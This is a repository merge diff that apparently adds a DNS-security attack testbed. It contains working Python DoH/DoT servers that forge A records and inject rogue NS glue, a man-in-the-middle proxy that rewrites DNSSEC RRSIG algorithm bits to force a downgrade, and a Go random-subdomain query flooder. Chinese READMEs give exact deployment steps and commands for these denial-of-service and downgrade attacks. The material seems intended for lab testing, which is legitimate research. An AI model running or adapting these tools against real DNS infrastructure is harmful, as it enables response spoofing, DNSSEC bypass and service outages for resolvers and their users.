Merge branch 'main' into 'main'

当前已收集代码合并

See merge request zhuyujia/yydns!1
This commit is contained in:
朱宇佳
2024-01-04 01:13:30 +00:00
289 changed files with 35053 additions and 87 deletions

View File

@@ -1,92 +1,17 @@
# YYDNS
## 目录说明
| 目录名 | 说明 | 备注 |
| ----------- | --------------------- | ---------------------- |
| att script | 对应指标的att脚本 | 文件按照文件夹编号存放 |
| monitor | 监控软件 | |
| monitor_vps | 基于vps测试的监控系统 | |
| peishi | 陪试软件 | target_GZ 目标感知 |
| tw web | tw相关展示页面 | |
| other | 其它文档 | |
## Getting started
## 使用文档要求
To make it easy for you to get started with GitLab, here's a list of recommended next steps.
Already a pro? Just edit this README.md and make it your own. Want to make it easy? [Use the template at the bottom](#editing-this-readme)!
## Add your files
- [ ] [Create](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#create-a-file) or [upload](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#upload-a-file) files
- [ ] [Add files using the command line](https://docs.gitlab.com/ee/gitlab-basics/add-file.html#add-a-file-using-the-command-line) or push an existing Git repository with the following command:
```
cd existing_repo
git remote add origin https://git.mesalab.cn/zhuyujia/yydns.git
git branch -M main
git push -uf origin main
```
## Integrate with your tools
- [ ] [Set up project integrations](https://git.mesalab.cn/zhuyujia/yydns/-/settings/integrations)
## Collaborate with your team
- [ ] [Invite team members and collaborators](https://docs.gitlab.com/ee/user/project/members/)
- [ ] [Create a new merge request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html)
- [ ] [Automatically close issues from merge requests](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically)
- [ ] [Enable merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/)
- [ ] [Set auto-merge](https://docs.gitlab.com/ee/user/project/merge_requests/merge_when_pipeline_succeeds.html)
## Test and Deploy
Use the built-in continuous integration in GitLab.
- [ ] [Get started with GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/index.html)
- [ ] [Analyze your code for known vulnerabilities with Static Application Security Testing(SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)
- [ ] [Deploy to Kubernetes, Amazon EC2, or Amazon ECS using Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/requirements.html)
- [ ] [Use pull-based deployments for improved Kubernetes management](https://docs.gitlab.com/ee/user/clusters/agent/)
- [ ] [Set up protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html)
***
# Editing this README
When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](https://www.makeareadme.com/) for this template.
## Suggestions for a good README
Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
## Name
Choose a self-explaining name for your project.
## Description
Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
## Badges
On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
## Visuals
Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
## Installation
Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
## Usage
Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
## Support
Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
## Roadmap
If you have ideas for releases in the future, it is a good idea to list them in the README.
## Contributing
State if you are open to contributions and what your requirements are for accepting them.
For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
## Authors and acknowledgment
Show your appreciation to those who have contributed to the project.
## License
For open source projects, say how it is licensed.
## Project status
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
- 所有文档以word格式存储
- 文档应同时包含部署说明、运行说明、使用说明各部分内容可参考模板md文件

Binary file not shown.

View File

@@ -0,0 +1,63 @@
import argparse
import base64
import ssl
import dns.asyncquery
import dns.rcode
import aiohttp
import dns.message
import dns.rrset
from aiohttp import web
DNS_SERVER_ADDRESS = '223.5.5.5'
DNS_SERVER_PORT = 53
async def doh_handler(request):
if request.method == "GET":
rquery = str(request.query).split(' ')[1]
#print(rquery)
rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=")
doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8")))
else:
try:
doh_request = dns.message.from_wire(await request.read())
except :
return web.Response(text='Invalid DNS request', status=400)
dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype)
dns_request.id = doh_request.id
# 发起DNS请求
dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS)
#print(dns_response)
if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1:
print('---tamper---',tamper)
dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')]
if str(doh_request.question[0].name) == inject:
print('---inject---',inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
# 构建HTTPS响应
response = web.Response(body=dns_response.to_wire())
response.content_type = 'application/dns-message'
return response
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
#print('tamper:',tamper)
DOH_SERVER_URL = "https://dns.alidns.com/dns-query"
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt"
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key"
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(CERT_FILE, KEY_FILE)
app = web.Application()
app.router.add_get(path='/dns-query',handler=doh_handler)
app.router.add_post(path='/dns-query',handler=doh_handler)
web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context)

Binary file not shown.

View File

@@ -0,0 +1,45 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
args = parser.parse_args()
print(f'DoT server: {args.dot}')
upstream_server = '47.88.31.213'
# 创建监听socket
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listener.bind(('127.0.0.1', 53))
# 创建TLS连接
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
while True:
# 接收DNS请求
data, addr = listener.recvfrom(1024)
#print(dns.message.from_wire(data))
data = dns.message.from_wire(data)
if 'baidu' in data.question.__str__():
# print(data)
# print(addr)
print('DNS请求', data.question)
# # 创建TLS连接并发送DNS请求到上游服务器
resp = dns.query.tls(
q=data,
where=upstream_server,
timeout=10,
ssl_context=context)
print('DNS响应', resp.answer)
# with socket.create_connection((upstream_server,853)) as sock:
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
# tls_sock.sendall(data.to_wire())
# resp = tls_sock.recv(4096)
# 将上游服务器的响应发送回客户端
listener.sendto(resp.to_wire(), addr)
break

View File

@@ -0,0 +1,63 @@
import argparse
import asyncio
import ssl
import socket
import dns.asyncquery
import dns.message
import dns.rcode
import dns.flags
import dns.message
import dns.rrset
from dnslib import DNSRecord
async def handle_client(reader, writer):
request_data = await reader.read(1024)
request = dns.message.from_wire(request_data[2:])
#print(request)
dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype)
dns_request.id = request.id
#print(dns_request)
dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5')
#print(dns_response)
if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1:
print('---tamper---', tamper)
dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')]
if str(request.question[0].name) == inject:
print('---inject---', inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
response_data = dns_response
record_header = len(response_data.to_wire()).to_bytes(2, 'big')
# 构建完整的TLS响应数据
tls_response_data = record_header + response_data.to_wire()
writer.write(tls_response_data)
await writer.drain()
writer.close()
async def start_server():
# 配置服务器参数
listen_address = '0.0.0.0'
listen_port = 853
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
# 创建TCP服务器
server = await asyncio.start_server(
handle_client, listen_address, listen_port, ssl=context)
print(f'DoT server listening on {listen_address}:{listen_port}')
async with server:
await server.serve_forever()
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
asyncio.run(start_server())

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 397 KiB

View File

@@ -0,0 +1,66 @@
## 使用说明
### 基本目标
通过主动探测精确感知目标DNS服务的各项参数。
### 软件环境
目标感知中共需要3种软件如下表所示其中主要测试对象为目录中的目标感知工具fpdns_client和辅助感知工具fpdns_serverBIND9递归解析器作为感知目标。
| 软件名称 | 版本 | 作用 | 备注 |
| ------- | ---- | ---- | ---- |
|目标感知工具|v1.0|进行目标感知||
|辅助感知工具|v1.0|辅助进行目标感知||
|BIND9|9.11.36|作为感知目标||
### 硬件环境
测试中共需要2台服务器A和B。服务器均为公有云VPS基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|硬件名称|数量|配置|作用|
|---|---|---|---|
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
### 测试拓扑
测试拓扑如下图。
![](topology.png)
### 部署方法
#### 感知目标部署
在服务器A上安装BIND9设置模式为递归解析模式。
#### 目标感知工具部署
将可执行文件fpdns_client移动到服务器A上。
#### 辅助感知工具部署
将可执行文件fpdns_server移动到服务器C上。
### 使用方法
#### 辅助感知工具
|参数|说明|示例|
|---|---|---|
|-sld|感知中使用的二级域名|echodns.xyz|
#### 拒绝服务攻击工具
|参数|说明|示例|
|---|---|---|
|-target|感知目标的IP地址|1.2.3.4|
### 测试方法
1. 在服务器A上启动BIND9递归解析器
2. 在服务器B上执行命令`./fpdns_server -sld echodns.xyz`,启动辅助感知工具;
3. 在服务器A上执行命令`./dtool -target {ip}`,进行目标感知
4. 等待感知完毕,通过输出结果判断感知效果

Binary file not shown.

After

Width:  |  Height:  |  Size: 450 KiB

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,73 @@
## 使用说明
### 基本目标
通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。
### 软件环境
DNSSEC拒绝服务攻击中共需要4种软件如下表所示其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-nsdig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。
| 软件名称 | 版本 | 作用 | 备注 |
| ------- | ---- | ---- | ---- |
|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求||
|辅助攻击工具|v1.0|辅助进行拒绝服务攻击||
|dig|9.11.36|发起DNS查询并查看解析结果||
|docker|24.0.5|安装必要容器||
### 硬件环境
测试中共需要三台服务器AB和C。服务器均为公有云VPS基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|硬件名称|数量|配置|作用|
|---|---|---|---|
|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
### 测试拓扑
测试拓扑如下图。
![](ddos-topology.png)
### 部署方法
#### 目标及监控部署
在服务器B上通过docker安装BIND9容器作为攻击目标安装cadvisorprometheus和grafana进行服务器B的状态监控。
#### 拒绝服务攻击工具部署
将可执行文件dtool移动到服务器A上。
#### 辅助攻击工具部署
将可执行文件rogue-ns移动到服务器C上。
### 使用方法
#### 辅助攻击工具
|参数|说明|示例|
|---|---|---|
|-sld|攻击中使用的二级域名|echodns.xyz|
#### 拒绝服务攻击工具
|参数|说明|示例|
|---|---|---|
|query|攻击中使用的二级域名|echodns.xyz|
|-p|目标端口|53|
|-d|攻击中使用的域名后缀|rogue.echodns.xyz|
|-R|是否进行域名随机生成,布尔型参数||
|-r|发送请求速率|100|
|-n|发送请求总量|10000|
### 测试方法
1. 在服务器B上启动BIND9容器
2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具;
3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击;
4. 通过服务器B上3000端口的grafana仪表盘监控目标状态
5. 在服务器A上使用dig向目标进行DNS查询通过解析时延和超时情况判断攻击效果。

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

View File

@@ -0,0 +1,196 @@
# -*- coding: utf-8 -*-
import socket
import dns.message
import dns.rdatatype
import dns.rdata
import dns.rdataclass
import binascii
import csv
import datetime
from scapy.all import *
#from crypto.PublicKey import Ed448
#import dns.rdatatype
# 定义代理服务器的地址和端口
proxy_host = '10.0.8.14' # 代理服务器的IP地址
proxy_port = 53 # 代理服务器的端口
#proxy_port = 22 # 代理服务器的端口
# 定义上游DNS服务器的地址和端口
upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址
upstream_port = 9999 # 上游DNS服务器的端口
csv_file = "dnssec_log.csv"
def proxy_dns_request(request, client_addr, proxy_socket):
# 创建与上游DNS服务器的套接字连接
upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 发送DNS请求到上游DNS服务器
upstream_socket.sendto(request, (upstream_host, upstream_port))
# 接收上游DNS服务器的响应
response, _ = upstream_socket.recvfrom(4096)
# 修改DNS应答中的字段
modified_response = modify_dns_response(response,client_addr,len(request))
#modified_response = response
# 将修改后的DNS应答发送给客户端
#client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#client_socket.sendto(modified_response, client_addr)
proxy_socket.sendto(modified_response, client_addr)
# print("finish",client_addr)
# 关闭套接字连接
upstream_socket.close()
#client_socket.close()
def modify_dns_response(response,client_addr,len_request):
# 在这里添加你的修改逻辑
# 解析DNS应答消息并修改需要的字段
# 可以使用dnspython等DNS库来解析和构造DNS消息
# print("response ",response)
dns_response = dns.message.from_wire(response)
# print("dns_response ",dns_response)
qweasd = 0
packet = DNS(response)
# 解析DNS流量
if DNS in packet:
dns1 = packet[DNS]
if dns1.qd[0].qtype != 1:
print("************No Change************")
return response
if dns1.ancount > 0:
print("Answers:")
for an in dns1.an:
print(" Name:", an.rrname.decode())
print(" Type:", an.type)
#print(" Data:", an.rdata)
for rrset in dns_response.answer:
if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 :
qweasd = 1
current_time = datetime.now()
# with open(csv_file, "a", newline="") as file:
# writer = csv.writer(file)
# writer.writerow([client_addr, len_request, current_time])
# print("dnssec_log.csv:",csv_file)
# new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text())
# new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值
# 替换原始 RRSIG 记录
# rrset.clear()
# rrset.add(new_rdata)
# for attrr in dir(rrset):
# print(attrr)
# print("rdata.algorithm",rrset.algorithm)
# new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448))
# rrset.items = new_rdata
# print(rrset.items)
# print(rrset[1])
# print(bin(rrset.items[1]))
# for qwe in rrset:
#print(qwe)
#print(type(qwe)," key: ",qwe," qweqweqweqweqwe ")
# for attrr in dir(qwe):
# print(attrr)
# qwe.algorithm = 16
# print(qwe.algorithm)
# 遍历DNS响应中的资源记录
modified_response = dns_response.to_wire()
binary_string = bin(int(binascii.hexlify(modified_response), 16))
# print("len: ",len(binary_string),"\n",binary_string)
formatted_string = str(binary_string)
index = str(binary_string).find("01100101001000001101110000001111")
new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:]
new_string = new_string[:index+2] + '1' + new_string[index+3:]
new_string = new_string[:index+3] + '0' + new_string[index+4:]
new_string = new_string[:index+4] + '0' + new_string[index+5:]
new_string = new_string[:index+5] + '1' + new_string[index+6:]
new_string = new_string[:index+6] + '0' + new_string[index+7:]
formatted_string = new_string[:index+7] + '1' + new_string[index+8:]
# index = str(binary_string).find("0000010100000011")
index = str(binary_string).find("0000110100000011")
# formatted_string = str(binary_string)
new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:]
new_string = new_string[:index+2] + '1' + new_string[index+3:]
new_string = new_string[:index+3] + '1' + new_string[index+4:]
new_string = new_string[:index+4] + '0' + new_string[index+5:]
new_string = new_string[:index+5] + '0' + new_string[index+6:]
new_string = new_string[:index+6] + '0' + new_string[index+7:]
formatted_string = new_string[:index+7] + '0' + new_string[index+8:]
# print("len: ",len(formatted_string),"\n",formatted_string)
# print("index: ",formatted_string[index:])
binary_string = formatted_string[2:]
binary_number = int(binary_string, 2)
formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big')
# print("index: ",formatted_string)
try:
dns_response = dns.message.from_wire(formatted_string)
except:
modified_response = dns_response.to_wire()
# print(dns_response)
modified_response = dns_response.to_wire()
print("**********************************************************************************************************************")
return modified_response
def start_proxy_server():
# 创建代理服务器的套接字
proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 将套接字绑定到代理服务器的地址和端口
proxy_socket.bind((proxy_host, proxy_port))
# 循环监听客户端请求并代理流量
num = 1
print("START: ")
while True:
print("start")
request, client_addr = proxy_socket.recvfrom(4096)
print("num: ",num)
num = num + 1
try:
packet = DNS(request)
# 解析DNS流量
if DNS in packet:
dns1 = packet[DNS]
if dns1.qdcount > 0:
print("Queries:")
for qd in dns1.qd:
print(" Query Name:", qd.qname.decode())
print(" Query Type:", qd.qtype)
print(" Query Class:", qd.qclass)
query_current_time = datetime.now()
query_current_time = query_current_time.strftime("%H%M%S%f")[:-2]
# src = request[IP].src
print(" Query src:", client_addr)
print(" Query Current Time:", query_current_time)
tmp = qd.qname.decode()
if tmp[0] == "D":
with open("shiyan1_query", "a", newline="") as file:
writer = csv.writer(file)
writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time])
print("finish")
except Exception as e:
print("error",str(e))
proxy_dns_request(request, client_addr, proxy_socket)
# 关闭套接字连接
proxy_socket.close()
# 启动代理服务器
start_proxy_server()

View File

@@ -0,0 +1,52 @@
## 使用说明
### 基本目标
使目标DNS解析器不对DNSSEC记录进行验证实现针对DNSSEC的降级攻击
### 软件环境
DNSSEC降级攻击中共需要四种软件如下表所示其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.pyBIND9用于搭建权威服务器和递归解析器dig工具用于从客户端发起DNS查询并查看解析结果python用于运行DNSSEC绕过工具。
| 软件名称 | 版本 | 作用 | 备注 |
| ------- | ---- | ---- | ---- |
|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py|
|BIND9|9.18.2|搭建权威服务器和递归解析器||
|dig|9.11.36|发起DNS查询并查看解析结果||
|python|3.7.2|运行DNSSEC绕过工具||
### 硬件环境
测试中共需要三台服务器A和B。服务器A和B均为公有云VPS基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|硬件名称|数量|配置|作用|
|---|---|---|---|
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
### 测试拓扑
测试拓扑如下图。
![拓扑](downgrade-topology.png)
### 部署方法
#### BIND9部署
在服务器B上安装并配置BIND9作为权威服务器并进行权威域的DNSSEC配置。
在服务器A上安装并配置BIND9作为递归解析器开启DNSSEC验证功能。
#### DNSSEC绕过工具部署
在服务器B上安装python3将proxy.py脚本移动到服务器上。
### 工具使用方法
DNSSEC绕过工具无输入参数直接通过`python3 proxy.py`运行。
### 测试方法
1. 在服务器B上启动权威服务器监听9999端口
2. 在服务器B上执行python3 proxy.py命令启动DNSSEC绕过工具
3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu通过解析结果验证DNSSEC降级攻击效果

View File

@@ -0,0 +1,21 @@
module prober
go 1.20
require (
github.com/miekg/dns v1.1.55
github.com/panjf2000/ants/v2 v2.8.2
github.com/schollz/progressbar/v3 v3.13.1
github.com/thanhpk/randstr v1.0.6
)
require (
github.com/mattn/go-runewidth v0.0.14 // indirect
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
github.com/rivo/uniseg v0.2.0 // indirect
golang.org/x/mod v0.7.0 // indirect
golang.org/x/net v0.2.0 // indirect
golang.org/x/sys v0.6.0 // indirect
golang.org/x/term v0.6.0 // indirect
golang.org/x/tools v0.3.0 // indirect
)

View File

@@ -0,0 +1,46 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo=
github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ=
github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU=
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

View File

@@ -0,0 +1,49 @@
package main
import (
"github.com/miekg/dns"
"github.com/panjf2000/ants/v2"
"github.com/schollz/progressbar/v3"
"github.com/thanhpk/randstr"
"os"
"strconv"
"strings"
"sync"
)
// 攻击
func main() {
defer ants.Release()
var wg sync.WaitGroup
p, _ := ants.NewPool(500, ants.WithPreAlloc(true))
c := new(dns.Client)
args := os.Args
qname := args[1]
runcount, _ := strconv.Atoi(args[2])
bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度")
for i := runcount; i > 0; i-- {
for _, v := range args[3:] {
wg.Add(1)
fqdn := strings.ToLower(randstr.String(10)) + "." + qname
msg := dns.Msg{}
msg.SetQuestion(fqdn, dns.TypeAAAA)
vi := v + ":53"
_ = p.Submit(
func() {
_, _, err := c.Exchange(&msg, vi)
wg.Done()
if err != nil {
return
}
})
bar.Add(1)
}
}
wg.Wait()
print("完成!!")
}

View File

@@ -0,0 +1,4 @@
.:53 {
